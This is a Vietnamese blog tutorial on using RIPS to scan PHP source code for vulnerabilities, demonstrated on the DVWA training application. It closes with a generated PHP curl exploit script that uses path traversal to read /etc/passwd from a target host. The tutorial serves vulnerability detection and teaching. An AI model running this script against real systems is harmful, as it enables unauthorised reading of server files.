Chuyển đến nội dung chính

Sử dụng RIPS trong phân tích tĩnh lỗ hổng mã nguồn PHP



1. Giới thiệu:
RIPS là công cụ dò quét tự động lỗ hổng dựa trên mã nguồn tĩnh được viết bằng PHP. RIPS chia nhỏ và phân tích cú pháp của toàn bộ source code từ đó phát hiện những hàm không an toàn (có khả năng làm rò rỉ thông tin) mà có thể bị người dùng sử dụng để khai thác thông tin.

2. Download:
– Yêu cầu: Web Server, php5.6, trình duyệt.

3. Tính năng:
– Phát hiện: Code Exection, Command Execution, Cross-Site Scripting (XSS), Header Injection, File Disclosure, File Inclusion, File Manipulation, LDAP Injection, SQL Injection …
– 5 chế độ cho việc debug kết quả.
– Đánh dấu những dòng code nguy hiểm có khả năng chứa lỗ hổng trong “Review Code”.
– Highlight biến trong “Review Code”.

4. Giao diện:
– RIPS có giao diện thân thiện, dễ sử dụng:
– “path/file”: Đường dẫn tới file hoặc folder cần quét.

– “subdirs”: quét tất cả các subdirectory

– “verbosity level”:

        + “1. User tainted only”: chỉ quét những hàm không an toàn (có nguy cơ chứa lỗ hổng) có thể bị khai thác từ phía người dùng.

        + “2. File/DB tainted +1”: chỉ nhận định xem file hay database có khả năng chứa những nguy hiểm từ input của người dùng hay không.

        + “3. Show Secure +1,2”: Đưa ra thông báo các hàm có nguy cơ chứa lỗ hổng nhưng đã được bảo mật (điều này quan trọng trong việc phát hiện những hàm thiếu bảo mật, thỉnh thoảng sẽ rất khó phát hiện ra những hàm này dựa trên việc phân tích code tĩnh).

        + “4. Untainted +1,2,3”: Đưa ra thêm thông tin về những thành phần mà RIPS phát hiện được trong lúc quét.

        + “5. Debug Mode”: Đưa ra tất cả các lệnh gọi những hàm có khả năng chứa lỗ hổng, tuy nhiên ở chế độ này có thể đưa ra nhiều trường hợp “false positive”.

– “vuln type”: các loại lỗ hổng bảo mật cần quét

– “code style”: phps, code-dark, ayti, …, bottom-up/top-down.

– “file”:

        + “list”: danh sách file đã quét

        + “graph”: đưa ra danh sách file đã quét dưới dạng hình ảnh đồ thị trực quan

– “User input”: đưa ra các lệnh người dùng có thể sử dụng và dòng chứa lệnh đó trong code.

– “Stats”: Thống kê kết quả lần quét gần nhất

– “Function”: liệt kê tất cả các hàm trong dữ liệu được quét.

5. Thực hành
Bài viết sử dụng Damn Vulnerable Web Application (DVWA). Đây là một mã nguồn mở cho phép thực hiện rất nhiều phép thử trên đó với nhiều mức độ khác nhau.


Ví dụ về File Inclusion:
– Đầu tiên chúng ta nhập đường dẫn đến file chứa thư mục “file inclusion” của DVWA, cài đặt chế độ quét, sau khi quét sẽ cho ra kết quả như hình vẽ:
=> RIPS thống kê kết quả cho thấy đã quét 11 file và phát hiện 9 lỗi bảo mật file inclusion, thành công 4/6 lần thử, …

Bấm vào chức năng file bên trên, chọn Graph:
Ở mỗi kết quả, RIPS chỉ ra lỗ hổng bảo mật có thể tồn tại ở hàm nào, cách vá lỗi, ngoài ra RIPS cũng cung cấp một vài chức năng hữu ích như:
- “Review code”         
- “Get help”                
- “Generate exploit”  


Trong “review code”, có thể thấy một vài dòng code có khả năng chứa lỗ hổng bảo mật sẽ được đánh dấu:

Trong “get help” chứa rất nhiều thông tin cần thiết như: Định nghĩa lỗ hổng bảo mật do hàm gây ra, mô tả về lỗ hổng này, ví dụ về lỗi, cách vá lỗi cũng như đưa ra gợi ý sử dụng những hàm an toàn hơn.

– “Generate exploit”: tùy vào loại lỗ hổng đang khai thác mà điền parameter hợp lý để exploit, sau đó “Create” thì RIPS sẽ generate ra một đoạn payload PHP, đóng gói payload lại thành một module PHP, việc generate này không tự động exploit mà chỉ hỗ trợ người dùng trong việc exploit thủ công nhanh hơn (người dùng chỉ cần nhập payload trên giao diện).
Payload:

#!/usr/bin/php -f
<?php
#
# index.php curl exploit
#

//
// HTTP GET,

//
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/index.php?page=../../../../../../../etc/passwd");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;

?>
Nguồn: Internet

Nhận xét

Bài đăng phổ biến từ blog này

So sánh giấy phép mã nguồn mở Apache, MIT, GPL

Mã nguồn mở ngày nay đã và đang trở nên phổ biến hơn bao giờ hết, những dự án mã nguồn mở có thể được tìm thấy hầu như ở bất kì đâu trên không gian mạng rộng lớn này. Tuy nhiên dù có “mở” đi chăng nữa thì những phần mềm mã nguồn mở phải tuân theo những giấy phép nhất định. Điển hình là 3 loại giấy phép phổ biến nhất là Apache, MIT và GPL. Vậy, giữa chúng có gì khác nhau. Trước hết, giấy phép mã nguồn mở là một loại giấy phép được sử dụng cho các phần mềm mã nguồn mở. Giấy phép này cho phép bất kì cá nhân hay tổ chức nào cũng có thể nghiên cứu, thay đổi, chỉnh sửa và cải tiến phần mềm, và phân phối ở các dạng khác nhau như thay đổi hoặc chưa thay đổi. Giấy phép Apache Giấy phép Apache ra đời bởi Quỹ Phần mềm Apache (Apache Software Foundation - ASF). Đây là một giấy phép phần mềm tự do, không có copyleft, bắt buộc trong việc thông báo bản quyển và lời phủ nhận. Giấy phép này hoạt động như các giấy phép phần mềm mã nguồn mở khác, trao cho người sử dụng phần mềm quyền tự do trong b

Mã hóa đối xứng và bất đối xứng

Hôm nay mình xin được nói về hai thuật toán cơ bản và quan trong nhất trong bảo mật đó là mã hóa đối xứng và mã hóa bất đối xứng . 1. Mã hóa đối xứng (mã hóa không công khai- symmetric-key algorithms ) - Là lớp thuật toán các mã hóa trong đó việc mã hóa và giải mã đều dùng chung cho 1 khóa (secret key) 1.1 Các loại thuật toán khóa đối xứng Thuật toán đối xứng có thể được chia ra làm hai thể loại, mật mã luồng ( stream ciphers ) và mật mã khối ( block ciphers ). Mật mã luồng mã hóa từng bit của thông điệp trong khi mật mã khối gộp một số bit lại và mật mã hóa chúng như một đơn vị. Cỡ khối được dùng thường là các khối 64 bit. Thuật toán tiêu chuẩn mã hóa tân tiến ( Advanced Encryption Standard ), được NIST công nhận tháng 12 năm 2001, sử dụng các khối gồm 128 bit. Các thuật toán đối xứng thường không được sử dụng độc lập. Trong thiết kế của các hệ thống mật mã hiện đại, cả hai thuật toán bất đối xứng ( asymmetric ) (dùng chìa khóa công khai) và thuật toán đối xứng được sử

Chuyện nghề Kiểm thử an toàn thông tin

Từ hồi đi làm đến giờ, tôi gặp nhiều tình huống không biết nên trả lời thế nào cho đúng, hôm nay ghi lại đây để mai mốt ai có gặp tham khảo. Khi được liên hệ, tôi thấy đa phần các đơn vị làm xong rồi mới nghĩ đến chuyện kiểm thử, thậm chí là bị hack rồi mới nghĩ tới. Việc pentest nên được triển khai ngay từ khi Phân tích thiết kế hệ thống . Các luồng đi của dữ liệu khi phác thảo ý tưởng ở trên giấy cũng cần kiểm tra tính an toàn, nếu để đến khi đã ra sản phẩm rồi thì đi sửa lại mất nhiều thời gian, công sức hơn nhiều, thậm trí sửa lại sinh ra lỗi mới. Nhiều người vẫn đánh giá các sản phẩm cầm nắm được giá trị hơn sản phẩm trí tuệ, hay sáng tạo. Giống thằng em tôi làm graphic designer hay "được nhờ" vẽ hộ logo hai cái này cái kia, có khi mất cả ngày hoặc nhiều hơn, trong khi không được đồng nào, có khi còn bị chê :)). Nếu làm tốt việc gì đó, đừng bao giờ làm miễn phí hoặc lấy giá quá rẻ . Nghe đồn Louis Vutton đốt trụi rũi hàng ế, chứ chưa bao giờ chịu giảm giá. Relax với chuy